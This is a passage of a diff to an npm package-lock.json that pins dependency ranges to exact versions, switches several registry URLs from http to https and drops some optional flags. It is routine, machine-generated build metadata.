"sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==", "dev": true, "requires": { - "builtin-status-codes": "^3.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.3.6", - "to-arraybuffer": "^1.0.0", - "xtend": "^4.0.0" + "builtin-status-codes": "3.0.0", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "to-arraybuffer": "1.0.1", + "xtend": "4.0.1" }, "dependencies": { "isarray": { @@ -15124,17 +15138,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -15143,7 +15157,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -15160,10 +15174,10 @@ "integrity": "sha512-WREzfy0r0zUqp3lGO096wRuUp7ho1X6uo/7DJfTlEi0Iv/4gT7YHqXDjKC2ioVGBZtE8QzsQD9nx1nIuoZ57jQ==", "dev": true, "requires": { - "date-format": "^1.2.0", - "debug": "^3.1.0", - "mkdirp": "^0.5.1", - "readable-stream": "^2.3.0" + "date-format": "1.2.0", + "debug": "3.1.0", + "mkdirp": "0.5.1", + "readable-stream": "2.3.6" }, "dependencies": { "debug": { @@ -15193,13 +15207,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -15208,7 +15222,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -15219,8 +15233,8 @@ "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", "dev": true, "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" }, "dependencies": { "ansi-regex": { @@ -15235,7 +15249,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } @@ -15258,7 +15272,7 @@ "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-eof": { @@ -15273,7 +15287,7 @@ "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", "dev": true, "requires": { - "get-stdin": "^4.0.1" + "get-stdin": "4.0.1" } }, "strip-json-comments": { @@ -15288,8 +15302,8 @@ "integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==", "dev": true, "requires": { - "loader-utils": "^1.1.0", - "schema-utils": "^0.4.5" + "loader-utils": "1.1.0", + "schema-utils": "0.4.7" }, "dependencies": { "loader-utils": { @@ -15298,9 +15312,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -15318,16 +15332,16 @@ }, "table": { "version": "4.0.3", - "resolved": "http://registry.npmjs.org/table/-/table-4.0.3.tgz", + "resolved": "https://registry.npmjs.org/table/-/table-4.0.3.tgz", "integrity": "sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==", "dev": true, "requires": { - "ajv": "^6.0.1", - "ajv-keywords": "^3.0.0", - "chalk": "^2.1.0", - "lodash": "^4.17.4", + "ajv": "6.5.2", + "ajv-keywords": "3.2.0", + "chalk": "2.4.1", + "lodash": "4.17.10", "slice-ansi": "1.0.0", - "string-width": "^2.1.1" + "string-width": "2.1.1" }, "dependencies": { "ansi-styles": { @@ -15336,7 +15350,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -15345,9 +15359,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "has-flag": { @@ -15362,7 +15376,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -15397,8 +15411,8 @@ "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", "dev": true, "requires": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" + "readable-stream": "2.3.6", + "xtend": "4.0.1" }, "dependencies": { "isarray": { @@ -15415,17 +15429,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -15434,7 +15448,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -15451,7 +15465,7 @@ "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==", "dev": true, "requires": { - "setimmediate": "^1.0.4" + "setimmediate": "1.0.5" } }, "tmp": { @@ -15460,7 +15474,7 @@ "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", "dev": true, "requires": { - "os-tmpdir": "~1.0.2" + "os-tmpdir": "1.0.2" } }, "to-array": { @@ -15487,7 +15501,7 @@ "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } }, "to-regex": { @@ -15496,10 +15510,10 @@ "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", "dev": true, "requires": { - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "regex-not": "^1.0.2", - "safe-regex": "^1.1.0" + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "regex-not": "1.0.2", + "safe-regex": "1.1.0" } }, "to-regex-range": { @@ -15508,8 +15522,8 @@ "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", "dev": true, "requires": { - "is-number": "^3.0.0", - "repeat-string": "^1.6.1" + "is-number": "3.0.0", + "repeat-string": "1.6.1" }, "dependencies": { "is-number": { @@ -15518,7 +15532,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } } } @@ -15540,7 +15554,7 @@ "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", "dev": true, "requires": { - "punycode": "^1.4.1" + "punycode": "1.4.1" } }, "trim-newlines": { @@ -15573,7 +15587,7 @@ "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", "dev": true, "requires": { - "safe-buffer": "^5.0.1" + "safe-buffer": "5.1.1" } }, "tweetnacl": { @@ -15589,7 +15603,7 @@ "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", "dev": true, "requires": { - "prelude-ls": "~1.1.2" + "prelude-ls": "1.1.2" } }, "type-detect": { @@ -15605,7 +15619,7 @@ "dev": true, "requires": { "media-typer": "0.3.0", - "mime-types": "~2.1.18" + "mime-types": "2.1.19" }, "dependencies": { "mime-db": { @@ -15620,7 +15634,7 @@ "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", "dev": true, "requires": { - "mime-db": "~1.35.0" + "mime-db": "1.35.0" } } } @@ -15638,9 +15652,9 @@ "dev": true, "optional": true, "requires": { - "source-map": "~0.5.1", - "uglify-to-browserify": "~1.0.0", - "yargs": "~3.10.0" + "source-map": "0.5.6", + "uglify-to-browserify": "1.0.2", + "yargs": "3.10.0" } }, "uglify-to-browserify": { @@ -15656,14 +15670,14 @@ "integrity": "sha512-ovHIch0AMlxjD/97j9AYovZxG5wnHOPkL7T1GKochBADp/Zwc44pEWNqpKl1Loupp1WhFg7SlYmHZRUfdAacgw==", "dev": true, "requires": { - "cacache": "^10.0.4", - "find-cache-dir": "^1.0.0", - "schema-utils": "^0.4.5", - "serialize-javascript": "^1.4.0", - "source-map": "^0.6.1", - "uglify-es": "^3.3.4", - "webpack-sources": "^1.1.0", - "worker-farm": "^1.5.2" + "cacache": "10.0.4", + "find-cache-dir": "1.0.0", + "schema-utils": "0.4.7", + "serialize-javascript": "1.5.0", + "source-map": "0.6.1", + "uglify-es": "3.3.9", + "webpack-sources": "1.3.0", + "worker-farm": "1.6.0" }, "dependencies": { "commander": { @@ -15684,8 +15698,8 @@ "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==", "dev": true, "requires": { - "commander": "~2.13.0", - "source-map": "~0.6.1" + "commander": "2.13.0", + "source-map": "0.6.1" } } } @@ -15701,7 +15715,7 @@ "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-5.1.0.tgz", "integrity": "sha512-5FXYaFANKaafg4IVZXUNtGyzsnYEvqlr9wQ3WpZxFpEUxl29A3H6Q4G1Dnnorvq9TGOGATBApWR4YpLAh+F5hw==", "requires": { - "invariant": "^2.2.4" + "invariant": "2.2.4" }, "dependencies": { "invariant": { @@ -15709,7 +15723,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } @@ -15720,10 +15734,10 @@ "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", "dev": true, "requires": { - "arr-union": "^3.1.0", - "get-value": "^2.0.6", - "is-extendable": "^0.1.1", - "set-value": "^0.4.3" + "arr-union": "3.1.0", + "get-value": "2.0.6", + "is-extendable": "0.1.1", + "set-value": "0.4.3" }, "dependencies": { "extend-shallow": { @@ -15732,7 +15746,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "set-value": { @@ -15741,10 +15755,10 @@ "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.1", - "to-object-path": "^0.3.0" + "extend-shallow": "2.0.1", + "is-extendable": "0.1.1", + "is-plain-object": "2.0.4", + "to-object-path": "0.3.0" } } } @@ -15755,7 +15769,7 @@ "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", "dev": true, "requires": { - "unique-slug": "^2.0.0" + "unique-slug": "2.0.1" } }, "unique-slug": { @@ -15764,7 +15778,7 @@ "integrity": "sha512-n9cU6+gITaVu7VGj1Z8feKMmfAjEAQGhwD9fE3zvpRRa0wEIx8ODYkVGfSc94M2OX00tUFV8wH3zYbm1I8mxFg==", "dev": true, "requires": { - "imurmurhash": "^0.1.4" + "imurmurhash": "0.1.4" } }, "unpipe": { @@ -15779,8 +15793,8 @@ "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", "dev": true, "requires": { - "has-value": "^0.3.1", - "isobject": "^3.0.0" + "has-value": "0.3.1", + "isobject": "3.0.1" }, "dependencies": { "has-value": { @@ -15789,9 +15803,9 @@ "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", "dev": true, "requires": { - "get-value": "^2.0.3", - "has-values": "^0.1.4", - "isobject": "^2.0.0" + "get-value": "2.0.6", + "has-values": "0.1.4", + "isobject": "2.1.0" }, "dependencies": { "isobject": { @@ -15843,7 +15857,7 @@ "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", "dev": true, "requires": { - "punycode": "^2.1.0" + "punycode": "2.1.1" }, "dependencies": { "punycode": { @@ -15890,9 +15904,9 @@ "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", "dev": true, "requires": { - "loader-utils": "^1.1.0", - "mime": "^2.0.3", - "schema-utils": "^1.0.0" + "loader-utils": "1.1.0", + "mime": "2.3.1", + "schema-utils": "1.0.0" }, "dependencies": { "loader-utils": { @@ -15925,8 +15939,8 @@ "integrity": "sha512-rh+KuAW36YKo0vClhQzLLveoj8FwPJNu65xLb7Mrt+eZht0IPT0IXgSv8gcMegZ6NvjJUALf6Mf25POlMwD1Fw==", "dev": true, "requires": { - "querystringify": "^2.0.0", - "requires-port": "^1.0.0" + "querystringify": "2.1.0", + "requires-port": "1.0.0" } }, "use": { @@ -15941,8 +15955,8 @@ "integrity": "sha1-z1k+9PLRdYdei7ZY6pLhik/QbY4=", "dev": true, "requires": { - "lru-cache": "2.2.x", - "tmp": "0.0.x" + "lru-cache": "2.2.4", + "tmp": "0.0.33" }, "dependencies": { "lru-cache": { @@ -15974,8 +15988,8 @@ "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", "dev": true, "requires": { - "define-properties": "^1.1.2", - "object.getownpropertydescriptors": "^2.0.3" + "define-properties": "1.1.3", + "object.getownpropertydescriptors": "2.0.3" } }, "utila": { @@ -16008,7 +16022,7 @@ "integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=", "dev": true, "requires": { - "user-home": "^1.1.1" + "user-home": "1.1.1" }, "dependencies": { "user-home": { @@ -16025,14 +16039,14 @@ "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", "dev": true, "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" } }, "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" + "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" }, "vary": { "version": "1.1.2", @@ -16046,9 +16060,9 @@ "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", "dev": true, "requires": { - "assert-plus": "^1.0.0", + "assert-plus": "1.0.0", "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" + "extsprintf": "1.3.0" } }, "vis": { @@ -16056,11 +16070,11 @@ "resolved": "https://registry.npmjs.org/vis/-/vis-4.21.0.tgz", "integrity": "sha1-3XFji/9/ZJXQC8n0DCU1JhM97Ws=", "requires": { - "emitter-component": "^1.1.1", - "hammerjs": "^2.0.8", - "keycharm": "^0.2.0", - "moment": "^2.18.1", - "propagating-hammerjs": "^1.4.6" + "emitter-component": "1.1.1", + "hammerjs": "2.0.8", + "keycharm": "0.2.0", + "moment": "2.22.2", + "propagating-hammerjs": "1.4.6" } }, "vm-browserify": { @@ -16083,7 +16097,7 @@ "resolved": "https://registry.npmjs.org/warning/-/warning-3.0.0.tgz", "integrity": "sha1-MuU3fLVy3kqwR1O9+IIcAe1gW3w=", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } }, "watchpack": { @@ -16092,9 +16106,9 @@ "integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==", "dev": true, "requires": { - "chokidar": "^2.0.2", - "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0" + "chokidar": "2.0.4", + "graceful-fs": "4.1.11", + "neo-async": "2.5.2" }, "dependencies": { "anymatch": { @@ -16103,8 +16117,8 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" } }, "arr-diff": { @@ -16125,16 +16139,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -16143,7 +16157,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -16154,19 +16168,19 @@ "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", "dev": true, "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "fsevents": "^1.2.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.4", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.0", + "lodash.debounce": "4.0.8", + "normalize-path": "2.1.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0", + "upath": "1.1.0" } }, "expand-brackets": { @@ -16175,13 +16189,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -16190,7 +16204,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -16199,7 +16213,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -16208,7 +16222,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -16217,7 +16231,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -16228,7 +16242,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -16237,7 +16251,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -16248,9 +16262,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -16267,14 +16281,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -16283,7 +16297,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -16292,7 +16306,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -16303,10 +16317,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -16315,7 +16329,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -16327,8 +16341,8 @@ "dev": true, "optional": true, "requires": { - "nan": "^2.9.2", - "node-pre-gyp": "^0.10.0" + "nan": "2.11.1", + "node-pre-gyp": "0.10.0" }, "dependencies": { "abbrev": { @@ -16557,7 +16571,6 @@ "version": "2.2.4", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "5.1.1", "yallist": "3.0.2" @@ -16670,7 +16683,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1.0.2" } @@ -16756,8 +16768,7 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "safer-buffer": { "version": "2.1.2", @@ -16793,7 +16804,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "1.1.0", "is-fullwidth-code-point": "1.0.0", @@ -16813,7 +16823,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "2.1.1" } @@ -16857,14 +16866,12 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, @@ -16874,8 +16881,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" + "is-glob": "3.1.0", + "path-dirname": "1.0.2" }, "dependencies": { "is-glob": { @@ -16884,7 +16891,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "^2.1.0" + "is-extglob": "2.1.1" } } } @@ -16895,7 +16902,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -16904,7 +16911,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -16913,9 +16920,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + 